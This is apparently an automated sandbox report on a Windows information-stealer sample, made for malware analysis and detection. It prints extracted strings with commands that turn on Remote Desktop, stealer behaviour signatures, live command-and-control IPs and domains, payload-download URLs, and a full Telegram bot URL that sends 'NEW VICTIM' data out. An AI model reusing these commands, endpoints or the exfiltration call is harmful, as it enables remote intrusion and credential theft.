iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
Source: Gxtuum.exe, 0000000E.00000002.2670334555.0000000000AF1000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: net start termservice
Source: Gxtuum.exe, 0000000E.00000002.2670334555.0000000000AF1000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
Source: Gxtuum.exe, 0000000F.00000000.2677150593.0000000000AF1000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: net start termservice
Source: Gxtuum.exe, 0000000F.00000000.2677150593.0000000000AF1000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1579386 Sample: file.exe Startdate: 22/12/2024 Architecture: WINDOWS Score: 100 130 api.telegram.org 2->130 132 sweepyribs.lat 2->132 134 10 other IPs or domains 2->134 164 Suricata IDS alerts for network traffic 2->164 166 Found malware configuration 2->166 168 Malicious sample detected (through community Yara rule) 2->168 172 19 other signatures 2->172 10 skotes.exe 4 63 2->10         started        15 file.exe 5 2->15         started        17 142c991362.exe 2->17         started        19 4 other processes 2->19 signatures3 170 Uses the Telegram API (likely for C&C communication) 130->170 process4 dnsIp5 152 185.215.113.43, 49753, 49759, 49785 WHOLESALECONNECTIONSNL Portugal 10->152 154 185.215.113.16 WHOLESALECONNECTIONSNL Portugal 10->154 156 31.41.244.11, 49765, 49787, 49804 AEROEXPRESS-ASRU Russian Federation 10->156 98 C:\Users\user\AppData\...\cc6b47fc15.exe, PE32 10->98 dropped 100 C:\Users\user\AppData\...\54682ac64c.exe, PE32 10->100 dropped 102 C:\Users\user\AppData\...\2e4e1b8516.exe, PE32 10->102 dropped 114 24 other malicious files 10->114 dropped 212 Creates multiple autostart registry keys 10->212 214 Hides threads from debuggers 10->214 236 2 other signatures 10->236 21 35f0a75b93.exe 10->21         started        26 fed209a298.exe 10->26         started        28 5cda6c90d7.exe 10->28         started        40 9 other processes 10->40 104 C:\Users\user\AppData\Local\...\skotes.exe, PE32 15->104 dropped 106 C:\Users\user\...\skotes.exe:Zone.Identifier, ASCII 15->106 dropped 216 Detected unpacking (changes PE section rights) 15->216 218 Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors) 15->218 220 Tries to evade debugger and weak emulator (self modifying code) 15->220 222 Tries to detect virtualization through RDTSC time measurements 15->222 30 skotes.exe 15->30         started        108 C:\Users\...\W5BO33UUYQPDZ9CE875CW1XCH.exe, PE32 17->108 dropped 110 C:\Users\user\...\MSMQUTWP7M2KT78991EY50.exe, PE32 17->110 dropped 224 Query firmware table information (likely to detect VMs) 17->224 226 Tries to harvest and steal ftp login credentials 17->226 228 Tries to harvest and steal browser information (history, passwords, etc) 17->228 230 Tries to steal Crypto Currency Wallets 17->230 158 212.193.31.8, 49846, 49866, 49877 SPD-NETTR Russian Federation 19->158 112 C:\Windows\System32\config\...\output[1].png, PNG 19->112 dropped 232 Creates files in the system32 config directory 19->232 234 Contains functionality to start a terminal service 19->234 32 chrome.exe 19->32         started        34 chrome.exe 19->34         started        36 graph.exe 19->36         started        38 chrome.exe 19->38         started        file6 signatures7 process8 dnsIp9 136 185.215.113.206 WHOLESALECONNECTIONSNL Portugal 21->136 78 C:\Users\user\Documents\DBAEGCGCGI.exe, PE32 21->78 dropped 80 C:\Users\user\AppData\...\softokn3[1].dll, PE32 21->80 dropped 82 C:\Users\user\AppData\Local\...\random[4].exe, PE32 21->82 dropped 90 11 other files (7 malicious) 21->90 dropped 174 Drops PE files to the document folder of the user 21->174 176 Tries to steal Mail credentials (via file / registry access) 21->176 192 6 other signatures 21->192 92 3 other files (1 malicious) 26->92 dropped 178 Multi AV Scanner detection for dropped file 26->178 180 Writes many files with high entropy 26->180 42 cmd.exe 26->42         started        138 cheapptaxysu.click 104.21.67.146, 443, 49823, 49831 CLOUDFLARENETUS United States 28->138 182 Detected unpacking (changes PE section rights) 28->182 184 Query firmware table information (likely to detect VMs) 28->184 194 2 other signatures 28->194 196 3 other signatures 30->196 140 239.255.255.250 unknown Reserved 32->140 46 chrome.exe 32->46         started        49 chrome.exe 34->49         started        142 api.telegram.org 149.154.167.220 TELEGRAMRU United Kingdom 40->142 144 fivetk5sb.top 185.121.15.192 REDSERVICIOES Spain 40->144 146 9 other IPs or domains 40->146 84 C:\Users\user\AppData\...\service123.exe, PE32 40->84 dropped 86 C:\Users\user\AppData\Local\...behaviorgraphxtuum.exe, PE32 40->86 dropped 88 C:\Users\user\AppData\Local\...\Y-Cleaner.exe, PE32 40->88 dropped 94 10 other malicious files 40->94 dropped 186 Attempt to bypass Chrome Application-Bound Encryption 40->186 188 Contains functionality to start a terminal service 40->188 190 Binary is likely a compiled AutoIt script file 40->190 198 5 other signatures 40->198 51 cd2469328d.exe 40->51         started        53 Gxtuum.exe 40->53         started        55 graph.exe 40->55         started        57 3 other processes 40->57 file10 signatures11 process12 dnsIp13 96 C:\Users\user\AppData\...\file.zip (copy), Zip 42->96 dropped 200 Writes many files with high entropy 42->200 59 7z.exe 42->59         started        63 7z.exe 42->63         started        65 7z.exe 42->65         started        71 9 other processes 42->71 160 www.google.com 142.250.181.132 GOOGLEUS United States 46->160 162 pancakedipyps.click 172.67.209.202, 443, 49806, 49814 CLOUDFLARENETUS United States 51->162 202 Query firmware table information (likely to detect VMs) 51->202 204 Found many strings related to Crypto-Wallets (likely being stolen) 51->204 206 Tries to steal Crypto Currency Wallets 51->206 208 Multi AV Scanner detection for dropped file 53->208 210 Contains functionality to start a terminal service 53->210 67 chrome.exe 55->67         started        69 chrome.exe 55->69         started        file14 signatures15 process16 file17 116 C:\Users\user\AppData\Local\...\file_7.zip, Zip 59->116 dropped 238 Writes many files with high entropy 59->238 118 C:\Users\user\AppData\Local\...\file_6.zip, Zip 63->118 dropped 120 C:\Users\user\AppData\Local\...\file_5.zip, Zip 65->120 dropped 73 chrome.exe 67->73         started        76 chrome.exe 69->76         started        122 C:\Users\...\Intel_PTT_EK_Recertification.exe, PE32+ 71->122 dropped 124 C:\Users\user\AppData\Local\Temp\...\in.exe, PE32+ 71->124 dropped 126 C:\Users\user\AppData\Local\...\file_4.zip, Zip 71->126 dropped 128 3 other malicious files 71->128 dropped signatures18 process19 dnsIp20 148 172.217.19.228 GOOGLEUS United States 73->148 150 www.google.com 73->150
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
185.121.15.192
 home.fivetk5sb.top Spain
207046 REDSERVICIOES true
172.217.19.228
 unknown United States
15169 GOOGLEUS false
98.85.100.80
 httpbin.org United States
11351 TWC-11351-NORTHEASTUS false
212.193.31.8
 unknown Russian Federation
57844 SPD-NETTR true
142.250.181.132
 www.google.com United States
15169 GOOGLEUS false
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU true
172.67.209.202
 pancakedipyps.click United States
13335 CLOUDFLARENETUS true
185.156.73.23
 unknown Russian Federation
48817 RELDAS-NETRU false
104.21.89.115
 fieldhitty.click United States
13335 CLOUDFLARENETUS true
142.250.181.65
 drive.usercontent.google.com United States
15169 GOOGLEUS false
31.41.244.11
 unknown Russian Federation
61974 AEROEXPRESS-ASRU false
104.21.21.99
 discokeyus.lat United States
13335 CLOUDFLARENETUS true
34.117.59.81
 ipinfo.io United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
216.58.208.238
 drive.google.com United States
15169 GOOGLEUS false
239.255.255.250
 unknown Reserved
unknown unknown false
185.215.113.206
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
104.21.67.146
 cheapptaxysu.click United States
13335 CLOUDFLARENETUS true

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
pancakedipyps.click 172.67.209.202 true
cheapptaxysu.click 104.21.67.146 true
ipinfo.io 34.117.59.81 true
discokeyus.lat 104.21.21.99 true
drive.google.com 216.58.208.238 true
drive.usercontent.google.com 142.250.181.65 true
home.fivetk5sb.top 185.121.15.192 true
www.google.com 142.250.181.132 true
fivetk5sb.top 185.121.15.192 true
fieldhitty.click 104.21.89.115 true
api.telegram.org 149.154.167.220 true
httpbin.org 98.85.100.80 true
sweepyribs.lat unknown unknown
grannyejh.lat unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.206/ true
    https://www.google.com/async/ddllog?async=doodle:306735258,slot:22,type:1,cta:0 false
      aspecteirs.lat true
        https://ipinfo.io/json false
          http://185.215.113.206/68b591d6548ec281/nss3.dll true
            energyaffai.lat true
              grannyejh.lat true
                http://185.215.113.206/68b591d6548ec281/vcruntime140.dll true
                  necklacebudi.lat true
                    https://api.telegram.org/bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=7427009775&text=%3Cb%3E%F0%9F%94%94NEW%20VICTIM%20%2D%20Extensions%20Installed%3C%2Fb%3E%0A%3Cb%3EIP%20Address%3A%3C%2Fb%3E%208%2E46%2E123%2E189%0A%3Cb%3EDevice%20Name%3A%3C%2Fb%3E%20715575%0A%3Cb%3ELocation%3A%3C%2Fb%3E%20New%20York%20City%2C%20New%20York%2C%20US%0A%3Cb%3EWallets%3A%3C%2Fb%3E%0A%3Ccode%3ENothing%20found%3C%2Fcode%3E&parse_mode=HTML false
                      http://185.215.113.206/68b591d6548ec281/sqlite3.dll true
                        http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp false
                          http://185.215.113.206/68b591d6548ec281/mozglue.dll true
                            crosshuaht.lat true
                              cheapptaxysu.click true
                                https://httpbin.org/ip false
                                  https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw false